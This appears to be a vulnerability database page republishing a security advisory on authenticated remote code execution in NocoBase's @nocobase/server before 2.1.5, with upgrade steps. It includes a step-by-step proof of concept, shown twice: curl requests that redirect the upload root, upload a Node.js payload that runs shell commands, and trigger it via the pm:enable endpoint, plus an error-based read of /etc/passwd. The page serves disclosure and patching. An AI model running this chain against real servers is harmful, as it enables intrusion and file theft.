GHSA-ghvf-qf6h-g8x5: NocoBase Remote Code Execution Vulnerability

HIGH
Advisory Summary

GHSA-ghvf-qf6h-g8x5 is a HIGH remote code execution vulnerability (CWE-829: Inclusion of Functionality from Untrusted Control Sphere) affecting NocoBase libraries in the npm ecosystem. The issue involves arbitrary file write chained with local file inclusion leads to remote code execution. Remediation is available by upgrading affected packages to version 2.1.5.

GHSA-ghvf-qf6h-g8x5 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-ghvf-qf6h-g8x5
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-829: Inclusion of Functionality from Untrusted Control Sphere
Affected Product NocoBase
Package Ecosystem npm
Published Date
Last Updated

How to Fix GHSA-ghvf-qf6h-g8x5

To remediate this vulnerability, upgrade all affected NocoBase dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@nocobase/server fixed: 2.1.5
npm install @nocobase/server@2.1.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @nocobase/server

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-ghvf-qf6h-g8x5, inspect your project dependencies using npm:

npm ls @nocobase/server

Analyze the terminal output to locate any version of NocoBase in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.1.5), your application is affected.

Note: The npm ls @nocobase/server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-829: Inclusion of Functionality from Untrusted Control Sphere, where the product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere. In NocoBase, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Executive Summary Two vulnerabilities were identified and chained to achieve authenticated remote code execution The first vulnerability allows any authenticated admin to redirect the file upload storage root to an arbitrary path on disk including the application directory itself by supplying an unsanitized `documentRoot` value to the `storages:update` API. The second vulnerability allows the same admin to trigger Node.js `require()` on any absolute filesystem path via the `pm:enable` plugin manager endpoint, which accepts user-supplied paths with no validation (Local File Inclusion). Chained together, these two flaws allow an attacker with admin credentials to write a malicious file and have it trigger on the system achieving remote code execution. A working proof-of-concept exploit chain was developed and verified, requiring only a valid admin session token. ## VULN 1: Arbitrary File Write via `storages:update` documentRoot Manipulation ### Summary The file-manager plugin's storage update endpoint accepts an arbitrary `documentRoot` value without validation. An authenticated admin can overwrite a storage record's `documentRoot` to any absolute path on the filesystem, then upload files that land anywhere the Node.js process (root in default Docker deployments) can write including the web root, the application source directory, or system paths. ### Vulnerable Components `packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts` | `getDocumentRoot()` L24–27 | `packages/plugins/@nocobase/plugin-file-manager/src/server/actions/attachments.ts` | `createMiddleware()` Server route: `POST /api/storages:update` Server route: `POST /api/attachments:upload` ### Root Cause `getDocumentRoot()` resolves the `documentRoot` field from the storage record: ```javascript // packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts const { documentRoot = process.env.LOCAL_STORAGE_DEST || path.join(process.cwd(), 'storage', 'uploads') } = this.storage.options || {}; return path.resolve(path.isAbsolute(documentRoot) ? documentRoot : path.join(process.cwd(), documentRoot)); ``` `resolveSafePath()` is called during file upload to prevent filename traversal, but it uses the already-resolved (attacker-controlled) `documentRoot` as its safe root. There is **no validation on the `documentRoot` value itself** at creation or update time. An admin can set `documentRoot` to any path (`/`, `/etc`, `/var/www/html`, the app root) and the upload will write there. The creation endpoint (`storages:create`) also accepts arbitrary `documentRoot`, but the **update endpoint is worse**: it silently replaces the root on an existing (potentially already-default) storage, bypassing any frontend guards. ### Steps to Reproduce **Prerequisites:** Admin session token. **Step 1 Get the local storage ID:** ```bash curl -s "http://192.168.228.130:13000/api/storages" \ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI" ``` Storage ID on this target: `366584416632832` **Step 2 Create the RCE payload:** ```bash cat > /tmp/rce_proof.js << 'EOF' const { execSync } = require('child_process'); const fs = require('fs'); const out = execSync('id; whoami; hostname').toString(); fs.writeFileSync('/home/spooky/nocobase/storage/uploads/out.txt', out); module.exports = {}; EOF ``` **Step 3 Redirect storage documentRoot to app CWD:** ```bash curl -s -X POST "http://192.168.228.130:13000/api/storages:update?filterByTk=366584416632832" \ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI" \ -H "Content-Type: application/json" \ -d '{"options":{"documentRoot":"."},"default":true}' ``` <img width="826" height="304" alt="image" src="https://github.com/user-attachments/assets/808bf5cf-f6cc-4df6-9d94-b84cff1dcd66" /> **Step 4 upload the RCE payload:** The payload writes output to the NocoBase uploads directory, which is served statically on port 13000 ```bash curl -s -X POST "http://192.168.228.130:13000/api/attachments:upload" \ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI" \ -F "file=@/tmp/rce_proof.js;filename=rce_proof.js;type=application/javascript" ``` <img width="826" height="322" alt="image" src="https://github.com/user-attachments/assets/146492ff-7eeb-4742-a13d-6bb3f9e0cd72" /> **Now that the file is uploaded successfully we can trigger the RCE with the LFI shown below** ## VULN 2: Error-Based Local File Inclusion via `pm:enable` Unsanitized `requireModule()` Call ### Overview `pm:enable` passes `filterByTk` directly to `require()` with no path validation. This is a standalone LFI primitive with two modes: - **Non-JS files** (e.g. `/etc/passwd`): Node.js parses them as JavaScript, fails with a `SyntaxError` that embeds the file content in the error message. That error is written to `system_error_YYYY-MM-DD.log` and is downloadable via `logger:download` giving an attacker blind/error-based file read. - **JS files** (e.g. an attacker-uploaded payload): the file executes as Node.js code in the server process RCE. This is the second stage of the chain with VULN-01. ### Root Cause The `enable` action takes `filterByTk` from query params and passes it directly to the CLI runner with zero validation: ```typescript // packages/core/server/src/plugin-manager/options/resource.ts L141-151 async enable(ctx, next) { const { filterByTk } = ctx.action.params; // ← raw user input if (!filterByTk) { ctx.throw(400, 'plugin name invalid'); } const keys = Array.isArray(filterByTk) ? filterByTk : [filterByTk]; app.runAsCLI(['pm', 'enable', ...keys], { from: 'user' }); // ← no sanitization ctx.body = filterByTk; await next(); }, ``` The CLI handler calls `requireModule(key)`: ```typescript // packages/core/utils/src/requireModule.ts export function requireModule(m: any) { if (typeof m === 'string') { m = require(m); // ← arbitrary file executed as Node.js module } if (typeof m !== 'object') { return m; } return m.__esModule ? m.default : m; } ``` `assertSafePluginPackageName()` exists in the codebase (validates against absolute paths and `..`) but is **never invoked** in the HTTP action path — only in storage directory helpers. The HTTP handler goes straight from user input → `require()`. ### Steps to Reproduce Error-Based File Read (Standalone) **Step 1 Trigger require() on any file:** ```bash curl -s "http://TARGET:13000/api/pm:enable?filterByTk=/etc/passwd" \ -H "Authorization: Bearer TOKEN" # Response: {"data":"/etc/passwd"} — 200 OK ``` Node.js attempts to parse `/etc/passwd` as a JavaScript module. It fails at the first `:` character with: <img width="2064" height="530" alt="image" src="https://github.com/user-attachments/assets/6aca1e88-a1c6-466a-8061-a0f3f7fbd4f8" /> and we see the error message after sending the request: <img width="1036" height="380" alt="image" src="https://github.com/user-attachments/assets/b8ddbf38-7de0-47ba-aa56-39ac4f2de400" /> **Step 2 navigate to the logger and download the system error log** <img width="1142" height="720" alt="image" src="https://github.com/user-attachments/assets/84103a14-99a6-4db0-bf86-35d5d09f730d" /> now when we extract the .tar file we can see proof of local file inclusion (partial in this response): <img width="1264" height="268" alt="image" src="https://github.com/user-attachments/assets/8f90ee8b-16d2-4bbf-8308-29ed80330ec8" /> ## Remote code execution With our node js payload sitting at the web root all we must do now is use the local file inclusion in pm:enable to trigger it ```bash curl -s "http://192.168.228.130:13000/api/pm:enable?filterByTk=/home/spooky/nocobase/rce_proof.js" \ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI" ``` Retrieve output via NocoBase static file serving <img width="832" height="214" alt="image" src="https://github.com/user-attachments/assets/1ed60982-fc93-48f0-8b34-4bae0412ced2" /> <img width="810" height="96" alt="image" src="https://github.com/user-attachments/assets/15241236-2701-4488-a9a9-a504c9505562" />

GHSA-ghvf-qf6h-g8x5 Affected NocoBase Versions

1 component(s)
Fixed Versions:
2.1.5
Product / Package Ecosystem Affected Versions Fixed Version
@nocobase/server
npm
< 2.1.5
2.1.5

References

Frequently Asked Questions

What is GHSA-ghvf-qf6h-g8x5?
GHSA-ghvf-qf6h-g8x5 is a security vulnerability in NocoBase involving Arbitrary File Write chained with Local file Inclusion leads to Remote code execution under CWE-829: Inclusion of Functionality from Untrusted Control Sphere.
Which NocoBase versions are affected?
Affected versions include releases prior to 2.1.5 across affected packages: @nocobase/server.
What version fixes GHSA-ghvf-qf6h-g8x5?
Upgrading to 2.1.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @nocobase/server affected?
Yes, @nocobase/server is affected in releases prior to 2.1.5. Upgrade your dependency to 2.1.5 or later.
What CWE is associated with GHSA-ghvf-qf6h-g8x5?
GHSA-ghvf-qf6h-g8x5 is classified under CWE-829: Inclusion of Functionality from Untrusted Control Sphere (The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.).
How can I check npm dependencies for GHSA-ghvf-qf6h-g8x5?
Run the dependency tree command: 'npm ls @nocobase/server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-ghvf-qf6h-g8x5",
  "modified" : "2026-08-20T18:42:21Z",
  "published" : "2026-08-20T18:42:21Z",
  "aliases" : [ ],
  "summary" : "NocoBase: Arbitrary File Write chained with Local file Inclusion leads to Remote code execution",
  "details" : "## Executive Summary\n\nTwo vulnerabilities were identified and chained to achieve authenticated remote code execution\n\nThe first vulnerability allows any authenticated admin to redirect the file upload storage root to an arbitrary path on disk  including the application directory itself  by supplying an unsanitized `documentRoot` value to the `storages:update` API. The second vulnerability allows the same admin to trigger Node.js `require()` on any absolute filesystem path via the `pm:enable` plugin manager endpoint, which accepts user-supplied paths with no validation (Local File Inclusion).\n\nChained together, these two flaws allow an attacker with admin credentials to write a malicious file and have it trigger on the system achieving remote code execution.\n\nA working proof-of-concept exploit chain was developed and verified, requiring only a valid admin session token.\n\n\n## VULN 1: Arbitrary File Write via `storages:update` documentRoot Manipulation\n\n### Summary\n\nThe file-manager plugin's storage update endpoint accepts an arbitrary `documentRoot` value without validation. An authenticated admin can overwrite a storage record's `documentRoot` to any absolute path on the filesystem, then upload files that land anywhere the Node.js process (root in default Docker deployments) can write  including the web root, the application source directory, or system paths.\n\n### Vulnerable Components\n\n`packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts` | `getDocumentRoot()` L24–27 |\n`packages/plugins/@nocobase/plugin-file-manager/src/server/actions/attachments.ts` | `createMiddleware()` \nServer route: `POST /api/storages:update` \nServer route: `POST /api/attachments:upload` \n\n### Root Cause\n\n`getDocumentRoot()` resolves the `documentRoot` field from the storage record:\n\n```javascript\n// packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts\nconst { documentRoot = process.env.LOCAL_STORAGE_DEST || path.join(process.cwd(), 'storage', 'uploads') } =\n  this.storage.options || {};\n\nreturn path.resolve(path.isAbsolute(documentRoot) ? documentRoot : path.join(process.cwd(), documentRoot));\n```\n\n`resolveSafePath()` is called during file upload to prevent filename traversal, but it uses the already-resolved (attacker-controlled) `documentRoot` as its safe root. There is **no validation on the `documentRoot` value itself** at creation or update time. An admin can set `documentRoot` to any path (`/`, `/etc`, `/var/www/html`, the app root) and the upload will write there.\n\nThe creation endpoint (`storages:create`) also accepts arbitrary `documentRoot`, but the **update endpoint is worse**: it silently replaces the root on an existing (potentially already-default) storage, bypassing any frontend guards.\n\n### Steps to Reproduce\n\n**Prerequisites:** Admin session token.\n\n\n**Step 1  Get the local storage ID:**\n\n```bash\ncurl -s \"http://192.168.228.130:13000/api/storages\" \\\n  -H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI\"\n```\n\nStorage ID on this target: `366584416632832`\n\n\n**Step 2  Create the RCE payload:**\n\n```bash\ncat > /tmp/rce_proof.js << 'EOF'\nconst { execSync } = require('child_process');\nconst fs = require('fs');\nconst out = execSync('id; whoami; hostname').toString();\nfs.writeFileSync('/home/spooky/nocobase/storage/uploads/out.txt', out);\nmodule.exports = {};\nEOF\n\n```\n**Step 3  Redirect storage documentRoot to app CWD:**\n\n```bash\ncurl -s -X POST \"http://192.168.228.130:13000/api/storages:update?filterByTk=366584416632832\" \\\n  -H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"options\":{\"documentRoot\":\".\"},\"default\":true}'\n```\n<img width=\"826\" height=\"304\" alt=\"image\" src=\"https://github.com/user-attachments/assets/808bf5cf-f6cc-4df6-9d94-b84cff1dcd66\" />\n\n**Step 4  upload the RCE payload:**\n\nThe payload writes output to the NocoBase uploads directory, which is served statically on port 13000\n\n```bash\ncurl -s -X POST \"http://192.168.228.130:13000/api/attachments:upload\" \\\n  -H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI\" \\\n  -F \"file=@/tmp/rce_proof.js;filename=rce_proof.js;type=application/javascript\"\n```\n\n<img width=\"826\" height=\"322\" alt=\"image\" src=\"https://github.com/user-attachments/assets/146492ff-7eeb-4742-a13d-6bb3f9e0cd72\" />\n\n\n**Now that the file is uploaded successfully we can trigger the RCE with the LFI shown below**\n\n## VULN 2: Error-Based Local File Inclusion via `pm:enable` Unsanitized `requireModule()` Call\n\n### Overview\n`pm:enable` passes `filterByTk` directly to `require()` with no path validation. This is a standalone LFI primitive with two modes:\n\n- **Non-JS files** (e.g. `/etc/passwd`): Node.js parses them as JavaScript, fails with a `SyntaxError` that embeds the file content in the error message. That error is written to `system_error_YYYY-MM-DD.log` and is downloadable via `logger:download` giving an attacker blind/error-based file read.\n- **JS files** (e.g. an attacker-uploaded payload): the file executes as Node.js code in the server process  RCE. This is the second stage of the chain with VULN-01.\n\n### Root Cause\n\nThe `enable` action takes `filterByTk` from query params and passes it directly to the CLI runner with zero validation:\n\n```typescript\n// packages/core/server/src/plugin-manager/options/resource.ts  L141-151\nasync enable(ctx, next) {\n  const { filterByTk } = ctx.action.params;   // ← raw user input\n  if (!filterByTk) {\n    ctx.throw(400, 'plugin name invalid');\n  }\n  const keys = Array.isArray(filterByTk) ? filterByTk : [filterByTk];\n  app.runAsCLI(['pm', 'enable', ...keys], { from: 'user' });  // ← no sanitization\n  ctx.body = filterByTk;\n  await next();\n},\n```\n\nThe CLI handler calls `requireModule(key)`:\n\n```typescript\n// packages/core/utils/src/requireModule.ts\nexport function requireModule(m: any) {\n  if (typeof m === 'string') {\n    m = require(m);   // ← arbitrary file executed as Node.js module\n  }\n  if (typeof m !== 'object') { return m; }\n  return m.__esModule ? m.default : m;\n}\n```\n\n`assertSafePluginPackageName()` exists in the codebase (validates against absolute paths and `..`) but is **never invoked** in the HTTP action path — only in storage directory helpers. The HTTP handler goes straight from user input → `require()`.\n\n### Steps to Reproduce Error-Based File Read (Standalone)\n\n**Step 1  Trigger require() on any file:**\n\n```bash\ncurl -s \"http://TARGET:13000/api/pm:enable?filterByTk=/etc/passwd\" \\\n  -H \"Authorization: Bearer TOKEN\"\n# Response: {\"data\":\"/etc/passwd\"} — 200 OK\n```\nNode.js attempts to parse `/etc/passwd` as a JavaScript module. It fails at the first `:` character with:\n\n<img width=\"2064\" height=\"530\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6aca1e88-a1c6-466a-8061-a0f3f7fbd4f8\" />\n\nand we see the error message after sending the request:\n\n<img width=\"1036\" height=\"380\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b8ddbf38-7de0-47ba-aa56-39ac4f2de400\" />\n\n**Step 2 navigate to the logger and download the system error log**\n\n<img width=\"1142\" height=\"720\" alt=\"image\" src=\"https://github.com/user-attachments/assets/84103a14-99a6-4db0-bf86-35d5d09f730d\" />\n\n\nnow when we extract the .tar file we can see proof of local file inclusion (partial in this response):\n\n<img width=\"1264\" height=\"268\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8f90ee8b-16d2-4bbf-8308-29ed80330ec8\" />\n\n## Remote code execution\n\nWith our node js payload sitting at the web root all we must do now is use the local file inclusion in pm:enable to trigger it \n\n```bash\ncurl -s \"http://192.168.228.130:13000/api/pm:enable?filterByTk=/home/spooky/nocobase/rce_proof.js\" \\\n  -H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI\"\n```\n\nRetrieve output via NocoBase static file serving\n\n<img width=\"832\" height=\"214\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1ed60982-fc93-48f0-8b34-4bae0412ced2\" />\n\n<img width=\"810\" height=\"96\" alt=\"image\" src=\"https://github.com/user-attachments/assets/15241236-2701-4488-a9a9-a504c9505562\" />",
  "severity" : [ ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@nocobase/server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.1.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nocobase/nocobase/security/advisories/GHSA-ghvf-qf6h-g8x5"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nocobase/nocobase/pull/9628"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nocobase/nocobase/pull/9701"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nocobase/nocobase/commit/7c9ffe1427a529d62576b83c35222ba7ef9b8d11"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nocobase/nocobase/commit/a89e5a999b608bcb4ec67a845e924af0fb58a7c7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nocobase/nocobase"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-209", "CWE-434", "CWE-73", "CWE-829" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-20T18:42:21Z",
    "nvd_published_at" : null
  }
}